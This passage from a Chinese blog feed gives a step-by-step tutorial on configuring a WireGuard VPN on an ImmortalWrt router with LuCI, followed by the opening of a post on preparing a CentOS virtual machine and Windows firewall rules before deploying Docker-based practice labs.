<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top" style="width: 35.5536%; height: 49.0625px;"><code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">10.10.20.0/24</code></td>
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top" style="width: 64.304%; height: 49.0625px;">WireGuard 专用虚拟网段（新建的）</td>
</tr>
</tbody>
</table>
<p><code>*注意事项</code>：</p>
<ul>
<li>WireGuard 需要一个<strong>独立的虚拟网段</strong>来做隧道（不能和已有网段重叠，所以我们新开了 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">10.10.20.0/24</code>）</li>
<li>这里的 ImmortalWrt 24.10.5 我添加了两张网卡（需要同时涉及到家庭内网网段和虚拟机内网网段）</li>
</ul>
<h4>有关于 ImmortalWrt 的配置部分</h4>
<p>（我这里的ImmortalWrt为了方便演示和理解，我安装了图形化的操作环境）</p>
<h4 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">第一步：登录ImmortalWrt Web操作界面</h4>
<p>这里我装了一个主题（都是一样的用法）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-164040.png" alt="" width="2879" height="1611" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-164040-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-164040-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-164040-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-164040-xl.webp 1024w"></figure>
<h4 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">第二步：安装必要的 WireGuard 装包</h4>
<p>ImmortalWrt 已经内置了 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">wireguard-tools</code> 和 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">kmod-wireguard</code>（内核模块）</p>
<p>按照下图所示，搜索这3个包，并安装</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/An-Zhuang-Bao.png" alt="" width="2879" height="1622" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/An-Zhuang-Bao-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/An-Zhuang-Bao-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/An-Zhuang-Bao-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/An-Zhuang-Bao-xl.webp 1024w"></figure>
<p>这些wireguard资源包，如果能搜索到，可以直接在图形化界面里安装，如果搜索不到，可使用如下bash命令，在终端里安装</p>
<pre class="language-batch line-numbers"><code>opkg update &amp;&amp; opkg install luci-proto-wireguard wireguard-tools kmod-wireguard</code></pre>
<p>装完之后刷新 LuCI 页面，网络 → 接口 → 新建接口时，协议下拉列表里就会出现 <strong>WireGuard VPN</strong> 选项</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-154901.png" alt="" width="2703" height="925" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-154901-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-154901-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-154901-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-154901-xl.webp 1024w"></figure>
<h4>第三步：创建 wg0 接口</h4>
<p class="font-claude-response-body break-words whitespace-normal leading-[1.7]">进入 <strong>网络 → 接口 → 添加新接口</strong>：</p>
<ul class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3">
<li class="whitespace-normal break-words pl-2">名称：<code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">wg0</code></li>
<li class="whitespace-normal break-words pl-2">协议：<code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">WireGuard VPN</code></li>
<li class="whitespace-normal break-words pl-2">点「创建接口」</li>
</ul>
<p class="font-claude-response-body break-words whitespace-normal leading-[1.7]">进入配置页面后：</p>
<ol class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-decimal flex flex-col gap-1 pl-8 mb-3">
<li class="whitespace-normal break-words pl-2">点「<strong>生成新的密钥对</strong>」—— 私钥和公钥自动填好</li>
<li class="whitespace-normal break-words pl-2"><strong>把公钥单独复制保存</strong>，后面配客户端要用</li>
<li class="whitespace-normal break-words pl-2">监听端口填 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">51820</code>（固定端口，不要用随机）</li>
<li class="whitespace-normal break-words pl-2">IP 地址点绿色 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">+</code>，填 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">10.10.20.1/24</code></li>
</ol>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-165513.png" alt="" width="2314" height="1505" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-165513-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-165513-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-165513-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-165513-xl.webp 1024w"></figure>
<p>（我们配置的这个 IP 是路由器在 WireGuard 虚拟网段里的地址，就像它在这个虚拟局域网里的"门牌号"）</p>
<h4>第四步：防火墙设置</h4>
<p class="font-claude-response-body break-words whitespace-normal leading-[1.7]">在 wg0 接口的「<strong>防火墙设置</strong>」标签，把防火墙区域选为 <strong>lan</strong></p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-155113.png" alt="" width="2606" height="851" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-155113-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-155113-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-155113-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-155113-xl.webp 1024w"></figure>
<p class="font-claude-response-body break-words whitespace-normal leading-[1.7]">(把 VPN 拨进来的客户端当成"自家人"，和内网设备享受同等待遇，可以互相访问)</p>
<h4>第五步：添加对端（Peer）</h4>
<p>切换到「<strong>对端</strong>」标签，点「添加对端」，填写笔记本的信息</p>
<table class="min-w-full border-collapse text-sm leading-[1.7] whitespace-normal">
<thead class="text-left">
<tr>
<th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">字段</th>
<th class="text-text-100 border-b-0.5 border-border-300/60 py-2 pr-4 align-top font-bold" scope="col">填写内容</th>
</tr>
</thead>
<tbody>
<tr>
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">描述</td>
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top"><code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">My Computer</code>（随便写，备注用）</td>
</tr>
<tr>
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">公钥</td>
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">笔记本客户端的公钥（暂时先不填，别急着保存，获取请见第六步）</td>
</tr>
<tr>
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">允许的 IP</td>
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top"><code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">10.10.20.2/32</code></td>
</tr>
<tr>
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top">持续保活</td>
<td class="border-b-0.5 border-border-300/30 py-2 pr-4 align-top"><code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">25</code></td>
</tr>
</tbody>
</table>
<h4>第六步：配置笔记本客户端</h4>
<p>下载Wireguard客户端：<a href="wireguard.com/install " target="_blank" rel="noopener noreferrer">点我前往官网</a></p>
<p class="font-claude-response-body break-words whitespace-normal leading-[1.7]">安装完之后：</p>
<ol class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-decimal flex flex-col gap-1 pl-8 mb-3">
<li class="whitespace-normal break-words pl-2">点「新建隧道 → 新建空隧道」</li>
<li class="whitespace-normal break-words pl-2">它会自动生成客户端的密钥对，界面上显示<strong>公钥</strong></li>
<li class="whitespace-normal break-words pl-2">把这个公钥填回第四步的服务端配置里</li>
</ol>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-171100.png" alt="" width="1306" height="1027" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-171100-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-171100-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-171100-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-171100-xl.webp 1024w"></figure>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Pei-Zhi-Gong-Yao.png" alt="" width="1311" height="1029" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Gong-Yao-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Gong-Yao-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Gong-Yao-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Gong-Yao-xl.webp 1024w"></figure>
<p>配置文件内容如下（直接粘贴在上图红色框框的部分）</p>
<pre class="language-bash line-numbers"><code>Address = 10.10.20.2/24
DNS = 10.10.10.1

[Peer]
PublicKey = &lt;服务端公钥，就是第二步复制的那串&gt;
Endpoint = 192.168.31.11:51820
AllowedIPs = 10.10.10.0/24, 10.10.20.0/24
PersistentKeepalive = 25</code></pre>
<p>重点说一下 <strong>AllowedIPs</strong> 这个参数，翻译成人话就是：<strong>只有访问这两个网段的流量才走 WireGuard 隧道</strong>，其他流量（比如你正在用的 v2rayN）完全不受影响</p>
<p>如果你写 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">0.0.0.0/0</code> 才会把所有流量都抢过来（这里我们配置的时候选择这个我们需要的两个10和20网段）</p>
<h5>回到网页端，配置 ImmortalWrt  上的信息</h5>
<p>最终配置的像我下图一样即可</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Pei-Zhi-Jian-Cha-1.png" alt="" width="2742" height="1480" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-1-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-1-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-1-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-1-xl.webp 1024w"></figure>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Pei-Zhi-Jian-Cha-2.png" alt="" width="2538" height="994" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-2-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-2-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-2-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Pei-Zhi-Jian-Cha-2-xl.webp 1024w"></figure>
<h4>第七步：保存并应用</h4>
<p>服务端配置完之后，点「<strong>保存并应用</strong>」，然后在笔记本客户端点「<strong>连接</strong>」</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-172929.png" alt="" width="1328" height="1039" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-172929-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-172929-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-172929-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-172929-xl.webp 1024w"></figure>
<h4>验证&amp;排错部分</h4>
<p>先验证一下机器能否Ping通内网的网关</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-173124.png" alt="" width="2350" height="1225" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173124-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173124-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173124-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173124-xl.webp 1024w"></figure>
<p>发现没用问题后，尝试远程连接内网机器</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-173323.png" alt="" width="1826" height="1068" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173323-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173323-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173323-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173323-xl.webp 1024w"></figure>
<p>可以连通，即为成功</p>
<h5>我在配置时候遇到的问题</h5>
<h6 class="text-text-100 mt-2 -mb-1 text-base font-bold">问题一：激活之后 ping 不通任何内网地址</h6>
<p class="font-claude-response-body break-words whitespace-normal leading-[1.7]"><strong>现象</strong>：客户端显示已连接，但 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">ping 10.10.20.1</code> 全部超时</p>
<p><strong>排查</strong>：在 ImmortalWrt 终端执行 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">wg show</code>，发现输出里<strong>没有任何 peer 信息</strong>，说明服务端根本没加载到对端配置（例如下图所示）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-173627.png" alt="" width="970" height="154" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173627-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173627-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173627-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173627-xl.webp 1024w"></figure>
<p><strong>原因</strong>：LuCI 保存了配置，但接口没有重新加载，配置只写进了文件却没有应用到内核</p>
<p>使用以下命令，重启接口</p>
<pre class="language-batch line-numbers"><code>ifdown wg0 &amp;&amp; ifup wg0</code></pre>
<p>重启接口之后再执行 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">wg show</code>，peer 就出现了，同时能看到 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">latest handshake: X seconds ago</code>，说明握手成功（如下图所示）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-173837.png" alt="" width="956" height="404" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173837-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173837-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173837-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173837-xl.webp 1024w"></figure>
<p><strong>问题二：能 ping 通路由器但 RDP 连不上虚拟机（这里我以windows为例）</strong></p>
<p><strong>排查</strong>：你可能没用开启远程访问的权限，请自行检查</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-174109.png" alt="" width="1772" height="1203" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-174109-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-174109-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-174109-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-174109-xl.webp 1024w"></figure>
<h4 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">总结</h4>
<p class="font-claude-response-body break-words whitespace-normal leading-[1.7]">整个流程其实不复杂，核心就三件事：</p>
<ol class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-decimal flex flex-col gap-1 pl-8 mb-3">
<li class="whitespace-normal break-words pl-2">ImmortalWrt上建 WireGuard 接口，分配虚拟网段</li>
<li class="whitespace-normal break-words pl-2">客户端和服务端互换公钥，建立信任</li>
<li class="whitespace-normal break-words pl-2">AllowedIPs 控制哪些流量走隧道</li>
</ol>
<p class="font-claude-response-body break-words whitespace-normal leading-[1.7]">最容易踩的坑是<strong>配置保存后接口没有重载</strong>，只要 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">ifdown wg0 &amp;&amp; ifup wg0</code> 重启一下就好了</p>
            ]]>
        </content>
    </entry>
    <entry>
        <title>Linux虚拟机+Docker部署本地靶场</title>
        <author>
            <name>云泽</name>
        </author>
        <link href="https://old.zeyun.org/docker1.html"/>
        <id>https://old.zeyun.org/docker1.html</id>
            <category term="Linux学习笔记"/>

        <updated>2026-03-27T10:22:51+09:00</updated>
            <summary>
                <![CDATA[
                    前言： 在进行安全测试或靶场练习时，直接在本地物理机上运行相关服务（如 MySQL 等）存在一定风险，可能影响系统稳定性甚至带来安全隐患。因此，更推荐使用“虚拟机 +&hellip;
                ]]>
            </summary>
        <content type="html">
            <![CDATA[
                <h4>前言：</h4>
<p data-start="117" data-end="215">在进行安全测试或靶场练习时，直接在本地物理机上运行相关服务（如 MySQL 等）存在一定风险，可能影响系统稳定性甚至带来安全隐患。因此，更推荐使用“虚拟机 + Docker”的方式来搭建实验环境</p>
<p data-start="217" data-end="284">通过这种方式，我们可以在隔离的虚拟环境中快速部署和管理多个靶场实例，在保证主机安全的同时，也便于环境的复用与销毁，提高学习与测试效率</p>
<p data-start="286" data-end="356">需要注意的是，在部署 Docker 之前，请确保当前环境（物理机或虚拟机）具备良好的网络访问能力，否则可能会影响镜像的下载与容器的正常运行</p>
<p data-start="286" data-end="356">本教程的结尾附上了docker常见的命令表，可供参考（在本文的最后）</p>
<h5>虚拟机桥接设置：</h5>
<p>在部署 Docker 之前，需要先配置虚拟机的网络模式。本文采用桥接模式，使虚拟机能够直接接入局域网，从而保证后续服务部署与访问的正常进行</p>
<p data-start="197" data-end="206"><strong data-start="197" data-end="206">环境说明：</strong></p>
<ul data-start="207" data-end="241">
<li data-section-id="1dydldu" data-start="207" data-end="223">虚拟化软件：VMware Workstation Pro 25H2</li>
<li data-section-id="28u4he" data-start="224" data-end="241">系统镜像：CentOS-7x86_64-Minimal-2009</li>
</ul>
<p>CentOS7镜像：<a href="https://pan-yz.cldisk.com/v2/external/resourceDetail.html?appid=1D734FA7-035A-4DEC-AA1C-DD63331D9267&amp;nonce=557161100&amp;timestamp=1775926805515&amp;showAppBar=true&amp;puid=305794623&amp;autoPreview=true&amp;objectId=b8bbab41ebbcb75ec2f8b69b08afe54a&amp;signature=6bcc793e13be0b90beb8503f1e6360cf" title="下载地址1" rel="nofollow">下载地址1</a>（NAS分享链接）<a class="link-info" href="https://mirrors.aliyun.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-2009.torrent" title="下载地址2" rel="nofollow">下载地址2</a>（种子链接）</p>
<p>如果第一个链接挂了，请使用第二个下载链接（种子使用教程：<a class="link-info" href="https://old.zeyun.org/qbittorrent_teaching.html" title="点我前往" rel="nofollow">点我前往</a>）</p>
<h4>添加windows防火墙规则</h4>
<h6>步骤一：Win+R，输入<code>control</code>打开控制面板</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-02-002617.png" alt="" width="799" height="420" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-002617-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-002617-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-002617-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-002617-xl.webp 1024w"></figure>
<h6>步骤二：依次按照下图，找到“高级设置”</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/firewall-2.png" alt="" width="2260" height="1176" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/firewall-2-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/firewall-2-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/firewall-2-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/firewall-2-xl.webp 1024w"></figure>
<h6>步骤三：新建一条windows的防火墙策略</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/1.png" alt="" width="2879" height="1701" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/1-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/1-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/1-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/1-xl.webp 1024w"></figure>
<h6>步骤四：选择端口设置</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/2.png" alt="" width="1428" height="1078" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/2-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/2-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/2-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/2-xl.webp 1024w"></figure>
<h6>步骤五：选择协议（<code>*注</code>：这里的端口要设置的和clash或者其他的代理工具所提供的端口一致，不能乱填）</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/3.png" alt="" width="1428" height="1078" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/3-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/3-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/3-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/3-xl.webp 1024w"></figure>
<h6>步骤六：选择“允许连接”</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/4.png" alt="" width="1428" height="1078" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/4-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/4-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/4-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/4-xl.webp 1024w"></figure>
<h6>步骤七：把所有的网络环境都勾选上</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/5.png" alt="" width="1428" height="1078" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/5-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/5-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/5-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/5-xl.webp 1024w"></figure>
<h6>步骤八：最终取一个自己记得住的名字即可</h6>
<h6>测试连接：</h6>
<p>打开VMware的设置，将网卡模式设置成NAT</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-02-172517.png" alt="" width="1392" height="1637" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-172517-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-172517-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-172517-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-172517-xl.webp 1024w"></figure>
<h5>检查物理机和虚拟机的连通性</h5>
<p>输入以下命令查看虚拟机的IP地址</p>
<pre class="language-bash line-numbers"><code>ip addr | more</code></pre>
<p>测试连通性</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/Lian-Tong.png" alt="" width="2427" height="830" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/Lian-Tong-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Lian-Tong-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Lian-Tong-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Lian-Tong-xl.webp 1024w"></figure>
<h4>代理配置部分：</h4>
<p><code>*注</code>：如果你完全使用国内的镜像站操作，那么也不必配置代理，这部分可跳过（如果没有科学上网，也请别担心，我在后面docker安装好了之后的部分会提到使用镜像站的方法）</p>
<p>（请自行解决科学上网的部分，这里我直接跳过）</p>
